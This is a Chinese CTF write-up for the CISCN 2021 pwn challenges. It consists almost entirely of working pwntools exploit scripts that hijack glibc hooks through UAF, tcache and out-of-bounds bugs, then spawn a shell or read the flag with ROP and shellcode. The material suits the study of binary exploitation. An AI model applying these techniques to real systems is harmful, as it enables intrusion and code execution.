ciscn 2021 pwn

pwnf

數(shù)組越界贷帮,負數(shù)泄露libc,任意地址寫劫持exit_hook為one_gadget從而getshell

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#__Author__ = Cnitlrt
#context.log_level = 'debug'

binary = 'pwny'
elf = ELF('pwny')
libc = elf.libc
context.binary = binary

DEBUG = 0
if DEBUG:
  p = process(binary)
  #p = process(["qemu-","-L","","-g","1234",binary])
  #p = process(["qemu-","-L","",binary])
else:
  host = "124.70.13.20"
  port =  20798
  p = remote(host,port)
if DEBUG == 2:
  host = ""
  port = 0
  user = ""
  passwd = ""
  p = ssh(host,port,user,passwd)
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def cmd1(a):
    p.sendlineafter('choice: ','1')
    p.sendlineafter('Index: ',a)

def cmd2(a,b):
    p.sendlineafter('choice: ','2')
    p.sendlineafter('Index: ',str(a))
    p.sendline(b)

sla(': ','2')
sla('Index: ',str(0x100))

sla(': ','2')
sla('Index: ',str(0x100))

cmd1(p64((-8)&0xffffffffffffffff))
ru('Result: ')
libc_base = int(p.recv(12),16) - libc.sym['_IO_2_1_stdout_']
lg("libc_base",libc_base)
#__rtld_global+3848
addr = libc_base + 0x61b060 + 3848
one = [0x4f3d5,0x4f432,0xe5617,0xe561e]
og = libc_base + one[1]

cmd1(p64((-11)&0xffffffffffffffff))
ru('Result: ')
codebase_addr = int(p.recv(12),16)-0x202008+0x202060
lg("codebase_addr",codebase_addr)

cmd1(p64((-1)&0xffffffffffffffff))

off = addr - codebase_addr
lg("off",off)
cmd2(off/8,p64(og))
attach(p)
p.sendline("3")

p.interactive()

lonelywolf

uaf漏洞玷室,劫持tcache_struct,free之后泄露libc,然后劫持free_hook為one_gadget從而getshell

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#__Author__ = Cnitlrt
context.log_level = 'debug'

binary = 'lonelywolf'
elf = ELF('lonelywolf')
libc = elf.libc
context.binary = binary

DEBUG = 0
if DEBUG:
  p = process(binary)
  #p = process(["qemu-","-L","","-g","1234",binary])
  #p = process(["qemu-","-L","",binary])
else:
  host = "124.70.13.20"
  port =  20757
  p = remote(host,port)
if DEBUG == 2:
  host = ""
  port = 0
  user = ""
  passwd = ""
  p = ssh(host,port,user,passwd)
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def cmd(idx):
    sla("choice: ",str(idx))
def add(size,idx):
    cmd(1)
    sla("Index: ",str(idx))
    sla("Size: ",str(size))
def free(idx):
    cmd(4)
    sla("Index: ",str(idx))
def show(idx):
    cmd(3)
    sla("Index: ",str(idx))
def edit(idx,payload):
    cmd(2)
    sla("Index: ",str(idx))
    sa("Content: ",payload)
for i in range(0x10):
    add(0x78,0)
free(0)
edit(0,"a"*0x10+'\n')
free(0)
show(0)
ru("Content: ")
heap_addr = u64(p.recv(6).ljust(8,"\x00"))
lg("heap_addr",heap_addr)
edit(0,p64(heap_addr-0x9e0+0x10)+p64(0)+'\n')
add(0x78,0)
add(0x78,0)
# add(0x78,"0")
edit(0,"\xff"*0x78+'\n')
free(0)
show(0)
libc_base = l64()-96-libc.sym["__malloc_hook"]-0x10
lg("libc_base",libc_base)
sys_addr = libc_base+libc.sym["system"]
free_hook = libc_base+libc.sym["__free_hook"]
edit(0,'\x01'*0x20+p64(free_hook-0x10)*6+'\n')
add(0x28,0)
"""
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

"""
edit(0,"/bin/sh;"+p64(0x10a41c+libc_base)*2+'\n')
# for in range()
# show(0)
# add(0x78,1)
# edit(0,'a')
# free(0)
# free(1)
# gdb.attach(p)
free(0)
p.interactive()

channel

遠程qemu-user ,libc和heap地址固定艰额,因此泄露出libc和heap,劫持free_hook為system,穩(wěn)定獲取shell
泄露地址部分

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#__Author__ = Cnitlrt
context.log_level = 'debug'

binary = 'channel'
elf = ELF('channel')
libc = ELF("./aarch64-linux-gnu/lib/libc.so.6")
context.binary = binary

DEBUG = 0
if DEBUG:
  # p = process(binary)
  # p = process(["qemu-aarch64","-L","./aarch64-linux-gnu","-g","1234",binary])
  p = process(["qemu-aarch64","-L","./aarch64-linux-gnu",binary])
else:
  host = "124.70.13.20"
  port =  20752
  p = remote(host,port)
if DEBUG == 2:
  host = ""
  port = 0
  user = ""
  passwd = ""
  p = ssh(host,port,user,passwd)
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def cmd(idx):
    sla("> ",str(idx))
def add(key):
    cmd(1)
    sa("key> \n",str(key))
def free(idx):
    cmd(2)
    sa("key> \n",str(idx))
def show(idx):
    cmd(3)
    sa("key> \n",str(idx))
def edit(key,size,payload):
    cmd(4)
    sa("key> \n",str(key))
    sla("len> \n",str(size))
    sa("content> \n",payload)
add("a"*0x10)
add("b"*0x10)
add("c"*0x10)
add("d"*0x10)
add("e"*0x10)
add("f"*0x10)
add("g"*0x10)
add("h"*0x10)
add("i"*0x10)
add("g"*0x10)
add("s"*0x10)
add("x"*0x10)

free("a"*0x10)
edit("b"*0x10,0x118,"a"*0x20)

free("c"*0x10)
free("d"*0x10)
free("e"*0x10)
free("f"*0x10)
free("g"*0x10)
free("h"*0x10)
free("i"*0x10)
free("a"*0x20)
cmd(3)
sa("key> \n",str("b"*0x10))
libc_base = u64(p.recv(3).ljust(0x8,'\x00'))
libc_base = libc_base+0x4000000000-libc.sym["__malloc_hook"]-0x7b8+0x1000
lg("libc_base",libc_base)
for i in range(0x8):
    add("f"*0x20)


free("x"*0x10)
edit("s"*0x10,0x118,"m"*0x20)
free("f"*0x20)
free("m"*0x20)
show("s"*0x10)
heap_addr = u64(p.recv(3).ljust(8,'\x00'))+0x4000000000-0x2a0
lg("heap_addr",heap_addr)
# free("a"*0x10)
# edit("bbbb",0x118,"a"*0x110+p64(0)+p8(0x))
# gdb.attach(p)
p.interactive()
# 0x4000012018
#0x400086c000

getshell部分

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#__Author__ = Cnitlrt
context.log_level = 'debug'

binary = 'channel'
elf = ELF('channel')
libc = ELF("./aarch64-linux-gnu/lib/libc.so.6")
context.binary = binary

DEBUG = 0
if DEBUG:
  # p = process(binary)
  p = process(["qemu-aarch64","-L","./aarch64-linux-gnu","-g","1234",binary])
  # p = process(["qemu-aarch64","-L","./aarch64-linux-gnu",binary])
else:
  host = "124.70.13.20"
  port =  20752
  p = remote(host,port)
if DEBUG == 2:
  host = ""
  port = 0
  user = ""
  passwd = ""
  p = ssh(host,port,user,passwd)
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def cmd(idx):
    sla("> ",str(idx))
def add(key):
    cmd(1)
    sa("key> \n",str(key))
def free(idx):
    cmd(2)
    sa("key> \n",str(idx))
def show(idx):
    cmd(3)
    sa("key> \n",str(idx))
def edit(key,size,payload):
    cmd(4)
    sa("key> \n",str(key))
    sla("len> \n",str(size))
    sa("content> \n",payload)
local_heap = 0x40009e0000
local_libc = 0x400086c000

libc_addr = 0x4000848000
heap_addr =  0x40009bc000
#0x40009e06a0
add("x"*0xf0+p64(0)+p64(0x101))
add("a"*0x10)
add("b"*0x10)
add("c"*0x10)
add("d"*0x10)
add("/bin/sh\x00"*2)
free("c"*0x10)
free("a"*0x10)
free("d"*0x10)
edit("/bin/sh\x00"*2,0x118,"a"*0x100+p64(heap_addr-0x410+0x7b0))
pay = '\x00'*0x18+p64(0x121)+p64(heap_addr-0x410+0xa10)+p64(heap_addr+0x10)
free(pay.ljust(0x100,'\x00'))
edit("/bin/sh\x00"*2,0xf0,"a"*0x18+p64(0x121)+p64(libc.sym["__free_hook"]+libc_addr)+p64(0))
edit("/bin/sh\x00"*2,0x110,"aaaa")
edit("/bin/sh\x00"*2,0x110,p64(libc_addr+libc.sym["system"]))
free("/bin/sh\x00"*2)
# free("")
# pay =  '\x00'*0x18+p64(0x21)+p64(0x00000040009e0c50)+'\x00'*0x10+p64(0x121)
# free(pay.ljust(0x100,"x"))
p.interactive()
#local_heap = 0x40009e0000
#local_libc = 0x400086c000
# 0x4000012018
# libc: 0x400086c000
# heap: 0x40009bc000

game

沒有對邊界進行檢查杭措,因此可以堆溢出,開了沙盒钾恢,因此劫持free-hook為setcontext手素,利用fsop來orw讀出flag

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#__Author__ = Cnitlrt
context.log_level = 'debug'

binary = 'game'
elf = ELF('game')
libc = elf.libc
context.binary = binary

DEBUG = 0
if DEBUG:
  p = process(binary)
  #p = process(["qemu-","-L","","-g","1234",binary])
  #p = process(["qemu-","-L","",binary])
else:
  host = "124.70.13.20"
  port =  20797
  p = remote(host,port)
if DEBUG == 2:
  host = ""
  port = 0
  user = ""
  passwd = ""
  p = ssh(host,port,user,passwd)
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def cmd(idx):
    payload = "op:"+str(idx)+'\n'
    return payload
def add(size1,size2):
    payload = cmd(1)+"l:"+str(size1)+'\n'+"w:"+str(size2)+'\n'+'\r\n'
    return payload
def add2(idx1,size):
    payload = cmd(2)+"id:"+str(idx1)+'\n'+"s:"+str(size)+'\n'+'\r\n'
    return payload
def free(idx):
    payload = cmd(3)+"id:"+str(idx)+'\n'+'\r\n'
    return payload
def show():
    payload = cmd(4)+"\r\n"
    return payload
def add2p(payload):
    sa("desc> ",payload)
def c5(idx):
    payload = cmd(5)+'id:'+str(idx)+'\n\r\n'#-y
    return payload
def c6(idx):
    payload = cmd(6)+'id:'+str(idx)+'\n\r\n'#+y
    return payload
def c7(idx):
    payload = cmd(7)+'id:'+str(idx)+'\n\r\n'#-x
    return payload
def c8(idx):
    payload = cmd(8)+'id:'+str(idx)+'\n\r\n'#+x
    return payload
def menup(payload):
    sa("cmd> ",payload)
# menup(add(0x4,0x4))
# menup(add2(1,0x1000))
# add2p("a"*0x100)
# menup(show())
# free(1)
# menup(add2(1,0x20))
# add2p("\n")
# menup(show())
# libc_base = l64()-0x0a+0xa0-96-libc.sym["__malloc_hook"]-0x10
# lg("libc_base",libc_base)
menup(add(0x4,0x7))
menup(add2(0x91,0x100))
add2p("a"*0x100)
menup(add2(3,0x100))
add2p("a"*0x100)
menup(add2(4,0x500))
add2p("a"*0x500)
menup(add2(5,0x500))
add2p("a"*0x500)
for i in range(21):
    menup(c8(0x91))
menup(free(4))
menup(add2(7,0x100))
add2p('\n')
menup(show())
libc_base = l64()-0x0a+0xa0-96-libc.sym["__malloc_hook"]-0x10-0x200
lg("libc_base",libc_base)
menup(free(7))
menup(free(3))
menup(free(0x91))
menup(add2(0x45,0x180))
add2p("a"*0x100+p64(0)+p64(0x31)+p64(0)*4+p64(0)+p64(0x111)+p64(libc_base+libc.sym["__free_hook"])+p64(0))
frame = SigreturnFrame()
free_hook = libc.symbols["__free_hook"]+libc_base
lg("free_hook",free_hook)
syscall = 0x00000000000d29d5+libc_base
free_hook1 = libc.sym["__free_hook"]+libc_base&0xfffffffffffff000
frame.rdi = 0
frame.rsi = free_hook1
frame.rdx = 0x2000
frame.rsp = free_hook1
frame.rip = syscall
menup(add2(0x44,0x100))
add2p(str(frame))
menup(add2(0x66,0x100))
add2p(p64(libc_base+libc.sym["setcontext"]+53))
menup(free(0x44))
pop_rdi = libc_base+0x000000000002155f
pop_rsi = libc_base+0x0000000000023e8a
pop_rdx = libc_base+0x0000000000001b96
pop_rsp = libc_base+0x0000000000003960
pop_rax = libc_base+0x0000000000043a78
payload = [
    pop_rdi,
    free_hook1,
    pop_rsi,
    0x2000,
    pop_rdx,
    0x7,
    pop_rax,
    10,
    syscall,
    free_hook1+0x70
]
sc = shellcraft.open("./flag")
sc += shellcraft.read("rax",free_hook1+0x200,0x100)
sc += shellcraft.write("1",free_hook1+0x200,0x100)
# gdb.attach(p,"b free")
p.sendline(flat(payload).ljust(0x70,'\x90')+asm(sc))
# menup(c5(1))
# menup(c5(1))
# menup(c5(1))
# menup(c5(1))
# menup(c5(1))
# menup(show())
# menup(c6(1))
# menup(show())
# menup(c7(1))
# menup(show())
# menup(c8(1))
# menup(show())
# p.recv()
# menup(free(1))
# p.send(free(1))
p.interactive()
#0x000055555575c030

silverwolf

uaf漏洞鸳址,開了沙盒,劫持tcache_struct,泄露libc以及棧地址泉懦,劫持棧地址進行rop稿黍,從而orw出flag

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#__Author__ = Cnitlrt
context.log_level = 'debug'

binary = 'silverwolf'
elf = ELF('silverwolf')
libc = elf.libc
context.binary = binary

DEBUG = 0
if DEBUG:
  p = process(binary)
  #p = process(["qemu-","-L","","-g","1234",binary])
  #p = process(["qemu-","-L","",binary])
else:
  host = "124.70.13.20"
  port =  20759
  p = remote(host,port)
if DEBUG == 2:
  host = ""
  port = 0
  user = ""
  passwd = ""
  p = ssh(host,port,user,passwd)
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def cmd(idx):
    sla("choice: ",str(idx))
def add(size):
    cmd(1)
    sla("Index: ",str(0))
    sla("Size: ",str(size))
def edit(payload):
    cmd(2)
    sla("Index: ",str(0))
    sa("Content: ",payload)
def show():
    cmd(3)
    sla("Index: ",str(0))
def free():
    cmd(4)
    sla("Index: ",str(0))
add(0x18)
free()
show()
ru("Content: ")
heap_addr = u64(p.recv(6).ljust(8,"\x00"))-0x1750
lg("heap_addr",heap_addr)
add(0x78)
free()
edit(p64(heap_addr+0x10)+p64(0)+'\n')
add(0x78)
add(0x78)
edit("\x07"*0x78)
free()
show()
libc_base = l64()-libc.sym["__malloc_hook"]-96-0x10
free_hook = libc_base+libc.sym["__free_hook"]
setcontext = libc_base+libc.sym["setcontext"]
edit('\x01'*0x20+p64(free_hook)*0x8+p64(libc_base+libc.sym["environ"])+p64(libc_base+libc.sym["environ"])+p64(heap_addr+0x10))
add(0x68)
show()
ru("Content: ")
stack_addr = u64(p.recv(6).ljust(8,"\x00"))
lg("stack_addr",stack_addr)
add(0x78)
edit('\x01'*0x20+p64(free_hook)*0x8+p64(heap_addr+0x10)+p64(libc_base+libc.sym["environ"])+p64(stack_addr-0x120))
pop_rdi = 0x00000000000215bf+libc_base
pop_rsi = 0x0000000000023eea+libc_base
pop_rdx = 0x0000000000001b96+libc_base
pop_rsp = 0x0000000000003960+libc_base
pop_rax = 0x0000000000043ae8+libc_base
syscall = 0x00000000000d2745+libc_base
push_rax = 0x000000000003e10d+libc_base
free_hook1 = free_hook & 0xfffffffffffff000
payload = p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(free_hook1)
payload += p64(pop_rdx)+p64(0x1000)+p64(pop_rax)+p64(0)+p64(syscall)+p64(pop_rsp)+p64(free_hook1)
add(0x78)
# gdb.attach(p,"b *$rebase(0x01050)")
edit(payload+'\n')
payload = [
    pop_rdi,
    free_hook1+0x100,
    pop_rsi,
    0,
    pop_rdx,
    0,
    pop_rax,
    2,
    syscall,
    pop_rdi,
    3,
    pop_rsi,
    free_hook1+0x200,
    pop_rdx,
    0x200,
    pop_rax,
    0,
    syscall,
    pop_rdi,
    1,
    pop_rsi,
    free_hook1+0x200,
    pop_rdx,
    0x100,
    pop_rax,
    1,
    syscall

]
p.sendline(flat(payload).ljust(0x100,"a")+"/flag\x00\x00\x00")
p.interactive()
satool

該題含有堆溢出漏洞以及任意函數(shù)調用,在run函數(shù)中存在函數(shù)指針崩哩,在設置fakekey時沒有檢查key的大小巡球,利用殘留的libc信息和og偏移將函數(shù)指針劫持為og,再用run調用函數(shù)

#include<stdio.h>

int B4ckDo0r(char *s1){
    save("aaaa","aaaa");
    save("aaaa","aaaa");
    save("aaaa","aaaa");
    save("aaaa","aaaa");
    save("\x00","aaaa");
    stealkey();
    fakekey(-0x2e1884);
    run();
}
/*0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
*/
int run(){
    return 0;
}
int save(char *s1,char *s2){
    return 0;
}
int stealkey(){
    return 0;
}
int fakekey(int a1){
    return 0;
}
int main(){

    B4ckDo0r("aaaaaaaaaaaa");
}
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末邓嘹,一起剝皮案震驚了整個濱河市酣栈,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌汹押,老刑警劉巖矿筝,帶你破解...
    沈念sama閱讀 218,682評論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異鲸阻,居然都是意外死亡跋涣,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,277評論 3 395
  • 文/潘曉璐 我一進店門鸟悴,熙熙樓的掌柜王于貴愁眉苦臉地迎上來陈辱,“玉大人,你說我怎么就攤上這事细诸∨嫣埃” “怎么了?”我有些...
    開封第一講書人閱讀 165,083評論 0 355
  • 文/不壞的土叔 我叫張陵震贵,是天一觀的道長利赋。 經常有香客問我,道長猩系,這世上最難降的妖魔是什么媚送? 我笑而不...
    開封第一講書人閱讀 58,763評論 1 295
  • 正文 為了忘掉前任,我火速辦了婚禮寇甸,結果婚禮上塘偎,老公的妹妹穿的比我還像新娘。我一直安慰自己拿霉,他們只是感情好吟秩,可當我...
    茶點故事閱讀 67,785評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著绽淘,像睡著了一般涵防。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上沪铭,一...
    開封第一講書人閱讀 51,624評論 1 305
  • 那天壮池,我揣著相機與錄音偏瓤,去河邊找鬼。 笑死椰憋,一個胖子當著我的面吹牛硼补,可吹牛的內容都是我干的。 我是一名探鬼主播熏矿,決...
    沈念sama閱讀 40,358評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼离钝!你這毒婦竟也來了票编?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 39,261評論 0 276
  • 序言:老撾萬榮一對情侶失蹤卵渴,失蹤者是張志新(化名)和其女友劉穎慧域,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體浪读,經...
    沈念sama閱讀 45,722評論 1 315
  • 正文 獨居荒郊野嶺守林人離奇死亡昔榴,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 37,900評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了碘橘。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片互订。...
    茶點故事閱讀 40,030評論 1 350
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖痘拆,靈堂內的尸體忽然破棺而出仰禽,到底是詐尸還是另有隱情,我是刑警寧澤纺蛆,帶...
    沈念sama閱讀 35,737評論 5 346
  • 正文 年R本政府宣布吐葵,位于F島的核電站,受9級特大地震影響桥氏,放射性物質發(fā)生泄漏温峭。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,360評論 3 330
  • 文/蒙蒙 一字支、第九天 我趴在偏房一處隱蔽的房頂上張望凤藏。 院中可真熱鬧,春花似錦祥款、人聲如沸清笨。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,941評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽抠艾。三九已至,卻和暖如春桨昙,著一層夾襖步出監(jiān)牢的瞬間检号,已是汗流浹背腌歉。 一陣腳步聲響...
    開封第一講書人閱讀 33,057評論 1 270
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留齐苛,地道東北人翘盖。 一個月前我還...
    沈念sama閱讀 48,237評論 3 371
  • 正文 我出身青樓,卻偏偏與公主長得像凹蜂,于是被迫代替她去往敵國和親馍驯。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 44,976評論 2 355

推薦閱讀更多精彩內容

  • 題解 xhh: 劫持堆上的函數(shù)指針為后門函數(shù)以此來getshell easypwn 格式化字符串漏洞玛痊,修改rbp一...
    cnitlrt閱讀 1,226評論 2 1
  • notebook一題在fmyy師傅的指導下賽后復現(xiàn)成功,orz,做了一天還沒出汰瘫,我tmd的怎么這么菜=.= bab...
    cnitlrt閱讀 1,095評論 0 1
  • 寫在前面: 這次比賽還是挺酷的,學到了一些騷操作擂煞,感謝武漢大學舉辦的這次比賽 概述: Pwnpwn:簽到題混弥,ret...
    cnitlrt閱讀 1,008評論 0 2
  • 0x00 寫在前面 最后一次參加國賽了額,無論隊伍能否走到決賽对省,我都無緣參賽了蝗拿,希望隊伍能走的更遠吧。這次國賽比起...
    Fish_o0O閱讀 3,111評論 6 8
  • 表情是什么蒿涎,我認為表情就是表現(xiàn)出來的情緒哀托。表情可以傳達很多信息。高興了當然就笑了同仆,難過就哭了萤捆。兩者是相互影響密不可...
    Persistenc_6aea閱讀 125,083評論 2 7